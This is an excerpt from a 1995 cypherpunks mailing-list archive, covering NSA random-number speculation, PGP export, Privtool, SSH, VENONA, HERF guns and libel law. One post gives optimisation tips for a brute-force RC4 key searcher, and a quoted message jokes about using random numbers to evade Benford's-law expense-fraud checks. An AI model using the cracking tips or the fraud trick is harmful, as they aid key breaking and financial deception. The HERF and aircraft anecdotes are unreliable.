must believe this prima facie evidence that the program is no 
longer of use against the Soviets.  I suspect that a lot of 
dedicated hardware, already paid for, is probably sitting about 
looking for a use.  "Hey Louie Freeh, any idea what we can do with 
all this idle equipment?"

So for the cypherpunks, my first suggestion is a long look at 
exactly how strong the "cryptographically strong" random numbers 
might be.  Certainly we are not random number ignorant, but how 
random number savvy are we?

Perhaps someone with the equipment and the computer time might 
conduct a bit of an experiment.  Maybe lifting the random number 
generators from common cryptographic applications like CryptDisk 
Curve Encrypt, PGP, Secure Device, and taking a massive sample to 
identify trends in the "random" data might be a good idea.

Even those processes that employ some physical component might 
have some trends that could fall into patterns.  Even with hard 
hashes of random seeds, could seed patterns create patterns in the 
actual random data?  I must suspect so.

Perhaps a piece of code which could be distributed far and wide to 
'punks and others which might generate random data on different 
machines with different hardware and different users and generate 
an export file to be submitted to a Web Page or something.  We've 
seen the tremendous value Web Pages have in bringing users 
together to contribute processor time for the RC4 project, what 
about random number generation time?

One of the first attacks on short-wave radio "number stations" 
(for the uninitiated, most are based in South America and read off 
long sets of code numbers, usually in Spanish) was with the 
assumption that a one time pad had been used.  The result?  An 
analyst determined that the "random" numbers for several stations 
were one time padded with "random" poundings on an old typewriter.  
Even if not broken, this immediately identified several stations 
as related by the use of the same one time pad generation method 
(which is sensitive enough that unrelated stations are quite 
unlikely to have been privy to the method) and thus provided 
tremendous traffic analysis information.  What does our random 
data tell the world about us?

Could not the bits in PGP keystroke timing subroutines fall into a 
subtle pattern?  Enough of one to make someone's job a lot easier?  

When you whirl that mouse around the screen to generate random 
numbers for CryptDisk, do you start with a counter clockwise 
circle?  If you're right handed you're likely to.

In the scheme of things, these might be pretty good clues to 
someone who does nothing but random analysis all day long in a 
cubical with a frighteningly quick piece of specialized hardware 
in the next room.

** "He's in a tough position.  If he announces he's running,
     everything becomes a political move, if he announces he
     isn't, his administration becomes a lame duck effort.
     Perhaps he should say nothing" -

My estimation of the NSA's new public image, which amazed me at 
first, prompted me to suggest that the bulk of the hyper-sensitive 
work done there has already been moved to another outfit.  To go 
from "No Such Agency" to a politicized and highly public 
organization with a public relations department and press releases 
in just under 30 years is a dramatic change for a secret agency.

In many ways it is not a poor move.  The agency has grown quite 
large, and it has become impossible to hide.  In addition, the 
public is much more likely to be receptive to an agency which 
appears-- in public-- to have some worth.  Cryptography is a 
complex concept, enigmatic at best for the general public.  The 
public relates much better to the capture of spies and the foiling 
of the Soviet Union than to an agency which is too secret to 
acknowledge.

Public opinion tilting to the NSA might be a bad thing for 
Cypherpunks.  When the NSA says key forfeiture is required, the 
public is much more likely to swallow the pill from an agency that 
uncovers traitors, protects our national interest, and has a cool 
museum that you can visit to boot.

Mr. Young rightly pointed out on this list that part of the coin 
the intelligence community sells, the demand for which moves 
novels by the millions, is the feeling of inclusion in a select 
group, a shared secret.  How elegant the way the National 
Cryptological museum was opened.  No fanfare, no publicity, no 
invitations, just there to be discovered at first, like a little 
secret.  Stuck in an old motel, barely visible from Route 32, 
dwarfed by the massive NSA complex.  Talk about public relations 
coup.  Classic intelligence, release what is worthless or nearly 
worthless, create the impression it is rare, make cursory efforts 
to obscure it- efforts you know will eventually fail, and you have 
created something coveted.  Wait a while, and then when it has 
been discovered, uncovered, publicized, put out a brown and white 
sign:  "National Cryptologic Museum."  What does DeBeers do any 
differently?

So the NSA has become a political tool.  A mouthpiece, and in a 
subtle way, a propaganda machine.  (Just keep the lead counsel out 
of the public eye guys.  He keeps screwing things up.  Do a 
Stephenopolis or Hillary Clinton on him.  Time for him to go 
behind the scenes).

We've long been predicting the clash between crypto and 
government, I doubt government sees it much differently, though 
perhaps through the foggy lenses of a entity used to getting its 
way through coercion.  I suspect they are likely to do themselves 
major damage with simple hubris.

Still, the signs are out there.  They are more and more public 
every day.  I think cryptography scares the administration.  It 
certainly scares the FBI.

So I ask some of the same questions I asked here a few months ago.

Where are the stealth PGP hacks?
Where are the more subtle stego programs?
Why aren't there totally transparent strong crypto programs which
   don't advertise the recipient right in the header?
Why isn't crypto prepared to weather the storm of a outright ban?

Sure, fight on the side of keeping crypto legal, but prepare for 
the worst.

The fact that everyone and their mother drank didn't keep 
prohibition from being initially passed.  How is it people think 
it will be the sure fire crypto ban deterrent?

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAwUBMAOxEi1onm9OaF05AQEi6Qf/ZW3qZln5SwPonJnf00OZM7DiPrjg/0+R
qzsgolAAnZIr/xFnNP99kzfLf393B5i/8CYO3V0m43VWI4T51b+sBs90Jkiin5hi
dals2aa/hCnMKvGfX1RjBo6OmiPmBhiwtvIOkn+tTda37YSWjYuBJ5DOZhXiuW6S
CUBxoDoE7yQmNy2BVZU9AKibpF3+Mv2k0yR9PlO0Yc0g8Z+juKR5xxUuMgqpy4HJ
qERDYZ6Cd+ADBt/YZGpoESBdishkKfZJeA+J9XApKbR8GiFgeT487ax1/P+Ph+eo
3kMcDEW4O87QbuXa3zewnNrxO306TO04jOeQp6GdJ00IQkRKeru0uw==
=6iZQ
-----END PGP SIGNATURE-----



00B9289C28DC0E55 nemo repente fuit turpissimus - potestas scientiae in usu est
E16D5378B81E1C96 quaere verum ad infinitum, loquitur sub rosa    -    wichtig!
*New Key Information*    -    Finger for key revocation and latest key update.






From adam at bwh.harvard.edu  Wed Jul 12 08:40:28 1995
From: adam at bwh.harvard.edu (Adam Shostack)
Date: Wed, 12 Jul 95 08:40:28 PDT
Subject: FW: Edupage 7/9/95 (fwd)
In-Reply-To: <199507121418.AA21899@bear-gate.bear.com>
Message-ID: <199507121540.LAA09468@asimov.bwh.harvard.edu>


Dave Mandl wrote:

| For the record: It's Leuchter, Fred Leuchter.
|  
| > ago for "practicing engineering without a license."  A good rebuttal
| > of his report was written up by (I think) William McVey, in Canada.

| Ken McVay.  And dozens of other people too.  The newsgroup is
| alt.revisionism.  If you've got any interest in the "holocaust
| revisionism" phenomenon, it's well worth at least a brief look in
| there.

	Thanks for the corrections, Dave; you're correct on all these
points.

-- 
"It is seldom that liberty          I Support The Phil
of any kind is lost all at     Zimmermann legal defense fund
once."               -Hume    http://www.netresponse.com/zldf

------------------ PGP.ZIP Part [001/713] -------------------
M4$L#!!0````(`">9ZQX3(*,_DG8!`-JF`P`'````4$=0+D581>S;=UQ3U__X
M\9M!$E8,TT at PJ$10$1=*41%WW`KX$=Q[M5KK`&R%(HH+(T.M"S>NME8K=31N
M:A$[K+5(K:O5BE405ZE:1"3?UTW`:K_]\/G\?O_^?CX>3^_-S;GGO,^\`^@W
-------------------------------------------------------------
for next chunk to export --> http://dcs.ex.ac.uk/~aba/export/





From mark at unicorn.com  Wed Jul 12 08:41:28 1995
From: mark at unicorn.com (Rev. Mark Grant)
Date: Wed, 12 Jul 95 08:41:28 PDT
Subject: Privtool 0.84a
Message-ID: <Pine.3.89.9507121633.A23453-0100000@unicorn.com>


-----BEGIN PGP SIGNED MESSAGE-----


Ok, version 0.84 didn't work properly on Linux, so I'm now releasing
a version 0.84a with fixes to make it compile. US users can get the
sources from from ftp.c2.org:/pub/privtool/privtool-0.84a.tar.gz, or
in Europe at ftp.ox.ac.uk:/pub/crypto/pgp/utils/privtool-0.84a.tar.gz.
It will also be available soon on ftp.dsi.unimi.it.

US ITAR laws may make it a crime to export Privtool, so if (like
me) you're not in the US then get it from the European sites.

In addition the documentation is available on the WWW at 
http://www.c2.org/~mark/privtool/privtool.html.

		Mark

	Privtool Beta Release	@(#)README.1ST	1.16 7/12/95
	-----------------------------------------------------

Privtool ("Privacy Tool") is intended to be a PGP-aware replacement 
for the standard Sun Workstation mailtool program, with a similar user 
interface and automagick support for PGP-signing and PGP-encryption. Just 
to make things clear, I have written this program from scratch, it is
*not* a modified mailtool (and I'd hope that the Sun program code
is much cleaner than mine 8-) !). 

When the program starts up, it displays a list of messages in your 
mailbox, along with flags to indicate whether messages are signed 
or encrypted, and if they have had their signatures verified or 
have been decrypted.

When you double click on a message, it will be decrypted (requesting
your passphrase if neccesary), and/or will have the signature checked,
and the decrypted message will be displayed in the top part of the
display window, with signature information in the bottom part. The
mail header is not displayed, but can be read by pressing the 'Header'
button to display the header window. In addition, the program has
support for encrypted mailing list feeds, and if the decrypted
message includes another standard-format message it will replace
the original message and be fed back into the display processing
chain.

When composing a message or replying to one, the compose window has
several check-boxes, including one for signature, and one for
encryption. If these are selected, then the message will be automatically
encrypted and/or signed (requesting your passphrase when neccesary) before
it is sent. You may also select a 'Remail' box, which will use the
Mixmaster anonymous remailer client program to send the message through
one or more remailers.

Being an Beta release, there are a number of bugs and nonfeatures :

Known Bugs :

	Message list scrollbar often set to stupid position when loading
	a mail file.

	When you save changes to the mail file, it throws away the
	signature verification and decrypted messages, so that the
	next time you view a message it has to be verified or decrypted
	again.

	'New mail' indicator in icon does not go away if you open the
	window and close it again without reading any messages.

Known Nonfeatures :

	Currently if you send encrypted mail to multiple recipients, all must
	have valid encrpytion keys otherwise you will have to send the
	message decrypted. Also, the message will be sent encrypted to all
	users, not just the one who is receiving each copy.

	'Add Key' button is enabled and disabled as appropriate, but does
	not do anything ! A number of other buttons and menu items do
	not work either.

	Passphrase is stored in ASCII rather than MD5 form, making it
	easier for hackers to find if you're on a multi-user machine (of 
	course, you shouldn't be, but many of us are).

	Kill-by-subject does not work.

	Ignores Reply-To: lines, and could probably do with an improved
	mail-reading algorithm.

	Only one display window, and only one compose window.

	Code should be more modular to assist with ports to Xt, Motif, Mac,
	Windows, etc. 

	Not very well documented !

	Encrypted messages are saved to mail files in encrypted form. There
	is currently no option to save messages in decrypted form.

	No support for anonymous return addresses.

	Not very well tested on Solaris 2.x, or Linux.

Major changes for 0.84:

	Added 'Forward' option to 'Compose' button.

	Support for Mixmaster and multiple pseudonyms. Due to a bug in
	the current version of Mixmaster, note that messages have to
	be saved to a temporary file for mailing. 

	Fixed file descriptor leak in pgplib.c which could make the program
	hang occasionally when saving changes.

	Added support for 'smallring.pgp' to speed up access to commonly
	used public keys.

	This version is thought to work on Linux, however I haven't
	been able to test that myself. Changes supplied by
	David Summers (david at actsn.fay.ar.us).

Changes for 0.84a:

	Linux testing showed up some problems with 0.84. This has been
	solved by using Rich Salz's parsedate() function to parse the
	dates on mail messages. This is now supplied in a linux
	subdirectory, and appropriate changes made to the Makfile to
	allow it to compile correctly on Linux. Changes supplied by
	David Summers (david at actsn.fay.ar.us).

	Fixed another hang by deleting the lock file if we failed to
	open the mail file while saving a message.

Privtool can be compiled to either use PGPTools, or to fork off a copy of
PGP whenever it is needed. There are also a number of different security
level options for the passphrase, varying from 'read it from PGPPASS and
keep it in memory' to 'request it every time and delete it as soon as
possible', via 'request it when neccesary and delete it if it's not used
for a while'.

See the README file for information on compiling the code, and the
user.doc file for user documentation (the little that currently 
exists). You should also ensure that you read the security concerns
section in user.doc before using the program.

		Mark Grant (mark at unicorn.com)



-----BEGIN PGP SIGNATURE-----
Version: 2.6

iQEVAgUBMAPq5lVvaTo9kEQVAQG48gf9EXXCBm42agXpfJP1ePuI5zbDujtaWhGb
khAPRrlPJJ5QeZp3wz0DMDjhvSJjz2dlyxYj5u61kgbfybhxr2lAzwYL4k89A/B+
aHSggEMpKYwosd9FZEZ30pG1ufYeEI0eJw0hHuZzIIbGzTy3x+IfVY9h41F+ewkV
fbAtw5jwZKI43cil0cds3DFLHYOhiuWUU72KUCHABgvQfLPBYCJ4F3nW64GduxtA
idjHrcfe3ZJNLJEQ1VsHbqbAgND2jzB/8C84kw9Nb9wgd+zTdgnnJPWidpqHZqe2
ymBX1JD675WrKORnZlTI28haIcajPnLp5nXy2Ycs+/5RMuW/AVlYhg==
=4M+l
-----END PGP SIGNATURE-----





From perry at imsi.com  Wed Jul 12 08:50:35 1995
From: perry at imsi.com (Perry E. Metzger)
Date: Wed, 12 Jul 95 08:50:35 PDT
Subject: NSA, Random Number Generation, Soviet Codes, Prohibition of Crypto
In-Reply-To: <Pine.SUN.3.91.950712113043.23433A-100000@access1.digex.net>
Message-ID: <9507121550.AA10682@snark.imsi.com>



Black Unicorn writes:
> More interesting than all this was the discussion with the deputy 
> director of the NSA in which he described the communications 
> collections program which continued from the 1950's all the way 
> into the 1980's.

There may be a misunderstanding -- just to be clear, the implication
was that they were working on some of the 1950s traffic into the
1980s, and not that there was any new traffic available of late...

> In any event, it is safe to assume that the NSA has a very large 
> section dedicated to this entire pursuit, and moreover, that the 
> Soviets probably were not "petty" random number generators.  

I've heard that standard 1920s-1950s one time pad generation
techniques involved telling lots of secretaries in the code section to
type numbers at random onto carbon paper forms. No joke.

Perry





From jim at acm.org  Wed Jul 12 09:03:15 1995
From: jim at acm.org (Jim Gillogly)
Date: Wed, 12 Jul 95 09:03:15 PDT
Subject: Rosenberg/VENONA: two time pads [Re: QED_jak]
In-Reply-To: <9507121445.AA10531@snark.imsi.com>
Message-ID: <199507121601.JAA20564@mycroft.rand.org>



> "Perry E. Metzger" <perry at imsi.com> writes:

> The reports claimed the spys were using one time pads in some flawed
> manner, but did not explain very well what the problem was. Does
> anyone out there know?

The AP story by Rita Beamish says:

   The Venona program translated 2,200 telegrams intercepted mostly from
   1942 to 1945.  They were double encoded with a complex numerical system
   that used a different random pattern for each message, officials said.
   The code would have been impossible to crack had not the volume of
   traffic resulted in the Soviets sloppily repeating some of the
   patterns, said Kahn.

The "repeating some of the patterns" means to me "two time pad".  Lots of
work in general, but doable, unlike the one time pad.

	Jim Gillogly
	Mersday, 19 Afterlithe S.R. 1995, 16:00





From ayen at access.digex.net  Wed Jul 12 09:03:47 1995
From: ayen at access.digex.net (Doug Ayen)
Date: Wed, 12 Jul 95 09:03:47 PDT
Subject: Don't trust the net too much
In-Reply-To: <9507121444.AA10523@snark.imsi.com>
Message-ID: <199507121603.MAA04959@access5.digex.net>


.pm tolled:
> Doug Hughes writes:
> > Go see Winn Schwartau talk about HERF guns sometime. He passed around
> > a picture of a device for < US$500 that could crash any computer within
> > 50 yards.
> 
> If it costs that little, I'd like to see one demonstrated. I've heard
> of no demonstrations of such things.
> 
> .pm
> 

Hey, if someone will point me at some (free) plans, I'll build one and 
hold a demonstration.

(I've got an old XT, a 286, a 3B1, and some monitors I'd like to blow up, 
and I've not yet blown up a pc using HERF yet (thermite--yes, HE--done 
it, lN2--yep, but not HREF.)

--doug
ayen at access.digex.net 




From erc at khijol.intele.net  Wed Jul 12 09:35:03 1995
From: erc at khijol.intele.net (Ed Carp [khijol Sysadmin])
Date: Wed, 12 Jul 95 09:35:03 PDT
Subject: Don't trust the net too much
In-Reply-To: <doug-9506121351.AA0053320@netman.eng.auburn.edu>
Message-ID: <Pine.3.89.9507121027.B1475-0100000@khijol>


On Wed, 12 Jul 1995, Doug Hughes wrote:

> Go see Winn Schwartau talk about HERF guns sometime. He passed around
> a picture of a device for < US$500 that could crash any computer within
> 50 yards..  Then again, it isn't too good for the person firing the gun
> either.. (mega EM emissions).

That all depends on the power level, and the emission pattern of the 
device, and the frequency.  I've been working within 10 feet of a dipole 
being fed by a 1kW amplifier before, and it didn't make me sterile (but 
it might've loosened a filling or two <grin>).

> The parts are available if you know what to get. a VERY enlightening
> and frightening presentation. I don't think he personally has built one.
> His presentation contained a presentation on TEMPEST emissions, and
> low level EM field effects on sensitive equipment problems too (a PBS
> documentary - a VERY compelling presentation of why you should never
> use walkman/CD players/radios/electronics equipment on airplanes if
> they say not to, and you value your life)

This sounds like absolute propoganda.  If you do the calculations, you'll 
see that a 1 watt transmitter sitting 100 feet away from your target will 
generate an EMF less than that 1000kW ERP TV transmitter array you just 
flew over.  If aircraft avionics were *that* sensitive, we'd have planes 
falling out of the sky, and we don't.  Add to that the HF and VHF 
transmitting equipment in the cockpit, plus the microwave ovens in the 
fore and aft, PLUS the phones they have on the plane, and it adds up to a 
sizeable amount of RF bouncing around the cabin without you and your 2m 
talkie with it's 6 dB loss rubber duckie.

Now, if every passenger fired up their 2m talkies, that might pose a 
problem, but then again every passenger wouldn't be using one, would they?

Again, sounds like "we want to totally control your environment for your 
safety (actually, to minimize our liability)" crap.
--
Ed Carp, N7EKG    			Ed.Carp at linux.org, ecarp at netcom.com
801/534-8857 voicemail			801/460-1883 digital pager
Finger ecarp at netcom.com for PGP 2.5 public key		an88744 at anon.penet.fi

Q.	What's the trouble with writing an MS-DOS program to emulate Clinton?
A.	Figuring out what to do with the other 639K of memory.






From terrell at sam.neosoft.com  Wed Jul 12 09:49:27 1995
From: terrell at sam.neosoft.com (Buford Terrell)
Date: Wed, 12 Jul 95 09:49:27 PDT
Subject: Num Rat
Message-ID: <199507121652.LAA15243@sam.neosoft.com>


>
>
>I just looked @ the front of a M.O. computer catalog & the numerals in the
>prices are anything but random. A very heavy concentration of eights (8) &
>nines (9), apparently this company is more into $508.98 (color inkjet printer)
>& $38.98 (well known game s/w) than the old late night TV standby of
>"JUST $19.99!". Of course, this is because of excessively documented
>ad nauseum human psychological tendencies that salescritters, who set at
>least the lsd's of price, have been aware of for millenia. I'd bet, that
>5(five), 8(eight), & 9(nine) are significantly more represented across
>the board in prices (& thus in amounts for checks & tax write offs) than
>than their random distribution by Benford's Law or more well known tests
>for randomness would suggest. Has Mr. Negrini factored this into his program?
>I guess the lesson is do a few pgp make__random's & convert a few of the
>hex numbers to dec digits for the lsd's the next time one does creative expense
>reporting.
>
>tjh
>
Just an aside --
  J C Penney invented the $n.95 pricing scheme so that his clerks
would have to make change.  That way they had to use their registers,
recording the sale and the cash didn't just go into their pockets.
Even at that early date, proper security of automated systems depended
largely on human factors.

Buford C. Terrell                       1303 San Jacinto Street
Professor of Law                              Houston, TX 77002
South Texas College of Law                voice   (713)646-1857
terrell at sam.neosoft.com                     fax   (713)646-1766






From sdw at lig.net  Wed Jul 12 09:52:17 1995
From: sdw at lig.net (Stephen D. Williams)
Date: Wed, 12 Jul 95 09:52:17 PDT
Subject: ANNOUNCEMENT: Ssh (Secure Shell) remote login program
In-Reply-To: <199507121451.RAA06122@shadows.cs.hut.fi>
Message-ID: <m0sW5hj-0009ydC@sdwsys>


FANTASTIC!!!!
I think we've all been waiting for / building this.
Kudos...

> Looking for a secure rlogin?
> Want to deter IP-spoofing, DNS-spoofing, and routing-spoofing?
> Want to run X11 connections and TCP/IP ports securely over an insecure network?
> Worried about your privacy?
> Then read this.
> 
> 
> Introducing SSH (Secure Shell) Version 1.0
...

Quibbles/suggestions:

ssh, while an obvious name, already collides with a nice shar decoder and
a different kind of secure shell from CFS.

Probably a worthwhile collision though.

Second: 

It would be very helpful if the socket connection could be made (optionally)
through a telnet proxy for firewalls (with optional quoting of problem
characters).  I've actually done this with TERM and a helper program.

I may produce a patch for this.

Third:

Of course support for S/Key and tokens/hand held authenticators would be
useful additions for some situations (although inferior to RSA...).

Forth:

Someone needs to crank out a Windows/Mac client... (Lower priority, but
still useful.)

Fifth:

udprelay etc. could also be borrowed from the term suite.

Sixth:

Integration with TCP/NFS and/or client-server CFS would be fantastic.
(One local CFS server acting as a secure client over tcp to a remote
CFS server.)
Remote encrypted mount of an encrypted partition...

sdw
-- 
Stephen D. Williams 25Feb1965 VW,OH (FBI ID) sdw at lig.net http://www.lig.net/sdw
Consultant, Vienna,VA Mar95- 703-918-1491W 43392 Wayside Cir.,Ashburn, VA 22011
OO/Unix/Comm/NN       ICBM/GPS: 39 02 37N, 77 29 16W home, 38 54 04N, 77 15 56W
Pres.: Concinnous Consulting,Inc.;SDW Systems;Local Internet Gateway Co.;28May95




From Doug.Hughes at Eng.Auburn.EDU  Wed Jul 12 09:58:49 1995
From: Doug.Hughes at Eng.Auburn.EDU (Doug Hughes)
Date: Wed, 12 Jul 95 09:58:49 PDT
Subject: Don't trust the net too much
In-Reply-To: <Pine.3.89.9507121027.B1475-0100000@khijol>
Message-ID: <doug-9506121658.AA0069320@netman.eng.auburn.edu>


>On Wed, 12 Jul 1995, Doug Hughes wrote:
>
>> Go see Winn Schwartau talk about HERF guns sometime. He passed around
>> a picture of a device for < US$500 that could crash any computer within
>> 50 yards..  Then again, it isn't too good for the person firing the gun
>> either.. (mega EM emissions).
>
>That all depends on the power level, and the emission pattern of the 
>device, and the frequency.  I've been working within 10 feet of a dipole 
>being fed by a 1kW amplifier before, and it didn't make me sterile (but 
>it might've loosened a filling or two <grin>).
>
Agree!

>> The parts are available if you know what to get. a VERY enlightening
>> and frightening presentation. I don't think he personally has built one.
>> His presentation contained a presentation on TEMPEST emissions, and
>> low level EM field effects on sensitive equipment problems too (a PBS
>> documentary - a VERY compelling presentation of why you should never
>> use walkman/CD players/radios/electronics equipment on airplanes if
>> they say not to, and you value your life)
>
>This sounds like absolute propoganda.  If you do the calculations, you'll 
>see that a 1 watt transmitter sitting 100 feet away from your target will 
>generate an EMF less than that 1000kW ERP TV transmitter array you just 
>flew over.  If aircraft avionics were *that* sensitive, we'd have planes 
>falling out of the sky, and we don't.  Add to that the HF and VHF 
>transmitting equipment in the cockpit, plus the microwave ovens in the 
>fore and aft, PLUS the phones they have on the plane, and it adds up to a 
>sizeable amount of RF bouncing around the cabin without you and your 2m 
>talkie with it's 6 dB loss rubber duckie.
>
>Now, if every passenger fired up their 2m talkies, that might pose a 
>problem, but then again every passenger wouldn't be using one, would they?
>
>Again, sounds like "we want to totally control your environment for your 
>safety (actually, to minimize our liability)" crap.

If you saw that PBS documentary (they want $20,000 for rebroadcast by the 
way). It was an 87 or 88 or something like that. It would make you
a believer. There was a lady in a van that whenever she used her cellular
phone, her sun's breathing apparatus (lung impaired) went into alarm.
 There was another case at a hospital pre-natal care word near the main
entrance to the hospital. Several occasions when a local bus loop went
by, and the guy happened to be talking on the intercom of the bus, several
of the units in the ward went into alarm and failed (they had a tough time
tracking that one down by the way). 
 Wheel chairs for handicapped people were sensitive. They held a cellular
phone about a foot from a wheel chair control and it started spinning around
and generally going out of control. (The guy's wheel chair had gone out of
control and run him off a heavy slope once and he almost died. it was
unproven whether it was electromagnetic or just a defect).
 This just goes to show that we live in a world of electromagnetic soup.
We really don't know how it effects the body long term, or whether, having
more mission or life critical electronics could be interacting with over
devices. This was the theme of the program.
 Another example was on an airplane (several of them.. older ones mostly
I believe) pilots would occassionally lose instruments (VLS, etc) when
passengers would activate portable transistor radios and such. Particularly
radios.. But there was another case involving a portable computer.. These
cases have been documented. It's a good thing the plain wasn't on a 
landing approach during a storm, or things could've gone very bad very
quickly.
 I heard about the portable computer via a different source. The guy
kept turning his computer on. The instruments would do a little dance.
The captain would tell the stewardess, she would tell the passenger, he
would turn it off for a while. Then, he would turn it on and repeat..
Until finally he refused to turn it off, so they confiscated it and
returned it at the end of the trip. Urban Legend? maybe..

 Believe what you want, but investigate the reports before dissmissing it
out of hand as propaganda. I'd rather stay alive than rely on "theoretically
it shouldn't matter." :)

Keep in mind that newer planes (767, 757) let you do anything you want
while the plane is in flight (but now while landing or takeoff), so they
probably build better instrumentation and cabin shielding into the planes
these days. If they say keep it off, chances are they have a good reason..

If you find categorical evidence to the contrary, I'm sure I would be very
relieved to see it posted here. (rather than wondering if somebody
in one of the 30 rows ahead of me might decide he knows better)

Disclaimer: I have absolutely no idea what kind of shielding goes into
an airplane nor any knowledge of building practices in the airline industry,
but that should be obvious. ;)

Well, I've posted enough on this, and I don't have any evidence besides
what I've seen and what I've heard from others. For all I know the
entire documentary was botched (it was shown on an evening newsmagazine
in the late 80's hosted by Connie Chung - British documentary). Now back 
to your regularly scheduled mailing list already in progress.

--
____________________________________________________________________________
Doug Hughes					Engineering Network Services
System/Net Admin  				Auburn University
			doug at eng.auburn.edu
		"Real programmers use cat > file.as"





From jshekter at alias.com  Wed Jul 12 10:00:16 1995
From: jshekter at alias.com (Jonathan Shekter)
Date: Wed, 12 Jul 95 10:00:16 PDT
Subject: general RC4 key searcher: optimisations anyone?
Message-ID: <9507121259.ZM1196@lennon.alias.com>


>/* RC4 Brute Force Key Searcher, by Andy Brown 1995
>
>This part of the package is meant to be portable between most systems
>so that Unix users can take part in the searching. After all, the
>kind of really high powered systems that can make a large dent in the
>key space are not running Windows NT. You will, however, require

	Umm... ever hear of an Alpha? Besides which, this will compile on NT,
and just about every other OS known to man, so it's a moot point.


>#define SwapByte(a,b) ((a)^=(b),(b)^=(a),(a)^=(b))

	If the two values are in memory (which they are as you swap state
vector elements) then this xor trick requires three read-modify-write cyles --
slow on any architecture. Use a temp variable instead.

>/* prepare the key */
>
>for(counter=0;counter<256;counter++)
>state[counter]=(unsigned char)counter;

	This is bad. Use either a) memcpy as in bruterc4 or b) an unsigned
long, starting at either 0x00010203 or 0x03020100 depending on endianness,
 adding 0x04040404 at each iteration to generate four bytes per shot. Remember,
on most machines a 32-bit store is the same speed as an 8-bit store. The fastes
I have been able to do on this section was obtained by unrolling the loop
manually, and using *two* long variables, alternating, to remove instruction
dependancies.

>for(counter=0;counter<256;counter++)
>
>index2=(key[index1]+state[counter]+index2) & 0xFF;
>SwapByte(state[counter],state[index2]);
>
>if(++index1==keybytes)
>index1=0;

1) This loop needs to be unrolled! Using direct array offsets instead of
incrementing the counter is a speedup on many machines. Also, experiment with
the unroll size. Making it larger increases performance until you get too big
to fit in the cache, at which point it slows down. My experiments on a few
different types of machines showed that unrolling the inner loop 16 or 32 times
was usually about right. See the inner loop of bruterc4. Use macros to do the
unrolling.

2) You can avoid the if statement for checking for key wrap around as follows:
in your initialization, construct an array as follows:

for (i=0; i<keysize-1; i++)
  transtbl[i] = i+1;
transtbl[i] = 0;

Then, after each iteration:

index1 = transtbl[index];

Viola, no if statements, no divides or mods. On many architectures this is
worth the trouble as branches are expensive. Obviously, though, test this



>/* do two RC4 operations as a preliminary test. If this fails then test
>the next one, then the rest. This should result in a lot of rejections
>before the rest of the loop is entered */

	I like the early-out test.

>x=(x+1) & 0xFF;
>y=(state[x]+y) & 0xFF;
>SwapByte(state[x],state[y]);

  Again, swapping with xor probably hurts you here. Use a register temp
variable.


	My personal keycracker accepts general length keys and is not too much
 slower than bruterc4. So it can be done.


	- Jonathan

-- 
    ____________________________________________________
   /   Jonathan Shekter   /                            /
  /   Graphics Hack      /   "Probability alone       /
 /  Alias/Wavefront     /   dictates that I exist"   /
/______________________/____________________________/





From Andrew.Spring at ping.be  Wed Jul 12 10:04:21 1995
From: Andrew.Spring at ping.be (Andrew Spring)
Date: Wed, 12 Jul 95 10:04:21 PDT
Subject: Why they can be sued... (Was: freedom of speech)
Message-ID: <v01510103ac2888fb20cd@[193.74.217.8]>



>
>Last thursday there was a report in the news. They started a new
>lawsuit against a Nazi, who was already earlier sentenced for other
>Nazi crimes. He was sued because he distributed a video. In the video

Just to sidetrack the issue, a bit.  Are there any ex-Nazis who participated
in the Holocaust who would dispute this guy?

>
>I wanted to know in detail why he can be sued. Therefore I had a look
>into my book commenting the criminal law. I try to translate as good
>as I can.
>
>In the german criminal law there is a chapter about slander, libel and
>such things.
>
>Slander is seen in Germany not as a crime, but as an offence.  It
>differs from other offences in the detail, that the prosecuting attorney
>can't sue it himself. It needs the request of a 'victim'.
>
>If the victim dies, the right to request is transferred to the
>wife/husband and the children. If there aren't any, to the parents. If
>there aren't any, to the brothes/sisters and grandchildren.
>
>  Par. 189: Wer das Andenken eines Verstorbenen verunglimpft,
>  wird mit Freiheitsstrafe bis zu zwei Jahren oder mit
>  Geldstrafe bestraft.
>
>  Who decries the memory to a dead person, is punished with jail up
>  to two years or fine.
>

This is a little different from the US. I've never heard of anybody being
jailed or fined for libel/slander, just sued for it.

>
>This applies under certain circumstances to saying that the holocaust
>never happened.
>
>Do you have a law like this in America?
>
>

No. You can't libel the dead.  Most historians would get their socks sued
off if you could.  I remember reading about a case once in which two sons
wanted to sue the man who had libelled their dead father.  They couldnt do
it through normal channels, father being dead and all, so they publicly
called the libeller a liar, repeatedly, eventually provoking _him_ to sue
_them_ thereby allowing the truth of the original liber to be tested in
court.  The sons won; a moral victory at least.

>
>This is the reason why someone can be sued if he claims that the
>holocaust never happened. It is not the idea itself. The reason is
>that it can be a form of violence against dead people in the eyes of
>german law.
>

So in other words, the Holocaust-Denial crime is a creative extension of
existing libel laws.

>BTW: I have a collection of the most important german laws on my
>webserver. You can find the list at
>
>http://iaks-www.ira.uka.de/ta/Diverses/Gesetze/
>

Useful to know that.  Aachen is just down the road from here.



--
Thank you VERY much!  You'll be getting a Handsome Simulfax Copy of your
OWN words in the mail soon (and My Reply).
<Andrew.Spring at ping.be> PGP Print: 0529 C9AF 613E 9E49  378E 54CD E232 DF96
   Thank you for question, exit left to Funway.







From Phiberflea at aol.com  Wed Jul 12 10:17:40 1995
From: Phiberflea at aol.com (Phiberflea at aol.com)
Date: Wed, 12 Jul 95 10:17:40 PDT
Subject: Free Directory Pinpoints E-Mail Addresses
Message-ID: <950712131505_31185620@aol.com>


Hi Team,

Received this little blurb in my e-mail.  

>Free Directory Pinpoints E-Mail Addresses
>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
>  Palo Alto, Calif. -- ....  Well, SLED Corp. has stepped up to answer the
call of all the Internet
>users who have ever screamed  "How can I find someone's e-mail address?"
>.....
>  The Palo Alto-based company recently released its Four11 Online User
>Directory as a free service for Internet users. The directory is easily
>searched by e-mail, through the use of e-mail forms, or the Web, by using
>browsers such as Mosaic or Lynx. Search parameters include name, location,
>old e-mail address, Group Connection and wildcards.
>...Membership also includes PGP encryption certification and storage
>services. Members who provide proper identification can have their PGP
>public key signed with the SLED Silver Signature. Signed keys are added
>to the key owner's directory listing and can be quickly retrieved by other
>Internet users through either e-mail or the Web. These keys, actually
>small data files, are used to send private messages and verify digital
>signatures. The combination of an Internet wide directory with a PGP key
>server makes it possible to quickly find someone, obtain their key, and
>send them a secure message.

Things that make you go hmmmm....

Ginger
Shei shuo zhong-guo hua?





From tcmay at sensemedia.net  Wed Jul 12 10:19:00 1995
From: tcmay at sensemedia.net (Timothy C. May)
